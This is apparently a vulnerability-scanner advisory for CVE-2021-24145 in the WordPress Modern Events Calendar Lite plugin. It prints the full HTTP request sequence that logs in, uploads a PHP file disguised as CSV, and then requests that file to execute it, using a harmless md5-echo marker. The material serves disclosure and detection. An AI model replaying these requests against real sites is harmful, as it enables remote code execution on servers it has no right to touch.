| Title | WordPress Modern Events Calendar Lite <5.16.5 - Authenticated Arbitrary File Upload |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | Remote code execution |
| Remediation | Fixed in version 5.16.5. |
| CVSS Score | 7.2 |
| EPSS Score | 0.92547 |
| CVE ID | CVE-2021-24145 |
| CWE ID | CWE-434 |
| Tags | cve cve2021 auth wpscan wordpress wp-plugin wp modern-events-calendar-lite rce intrusive webnus vuln |
WordPress Modern Events Calendar Lite plugin before 5.16.5 is susceptible to authenticated arbitrary file upload. The plugin does not properly check the imported file, allowing PHP files to be uploaded and/or executed by an administrator or other high-privilege user using the text/csv content-type in the request. This can possibly lead to remote code execution.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=2CBC1H&pwd=oZ5mgg&wp-submit=Log+In
POST /wp-admin/admin.php?page=MEC-ix&tab=MEC-import HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Content-Length: 435
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------132370916641787807752589698875
Accept-Encoding: gzip
-----------------------------132370916641787807752589698875
Content-Disposition: form-data; name="feed"; filename="38FFzRjqpBT8IOnWFLv33RN5iPu.php"
Content-Type: text/csv
<?php echo md5("CVE-2021-24145");unlink(__FILE__);?>
-----------------------------132370916641787807752589698875
Content-Disposition: form-data; name="mec-ix-action"
import-start-bookings
-----------------------------132370916641787807752589698875--
GET /wp-content/uploads/38FFzRjqpBT8IOnWFLv33RN5iPu.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.8
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24145.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24145.pcap
N/AN/A